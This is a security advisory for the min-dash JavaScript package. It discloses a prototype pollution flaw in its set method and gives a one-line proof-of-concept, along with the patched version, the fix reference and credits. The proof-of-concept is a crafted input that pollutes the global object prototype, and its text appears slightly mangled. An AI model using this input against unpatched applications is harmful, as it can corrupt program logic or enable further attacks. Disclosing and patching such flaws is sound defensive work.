Impact

The set method is vulnerable to prototype pollution with specially crafted inputs.

javascript // insert the following into poc.js and run node poc,js (after installing the package) let parser = require("min-dash"); parser.set({}, [["proto"], "polluted"], "success"); console.log(polluted);

Patches

min-dash>=3.8.1 fix the issue.

Workarounds

No workarounds exist for the issue.

References

Closed via https://github.com/bpmn-io/min-dash/pull/21.

Credits

Credits to Cristian-Alexandru STAICU who found the vulnerability and to Idan Digmi from the Snyk Security Team who reported the vulnerability to us, responsibly.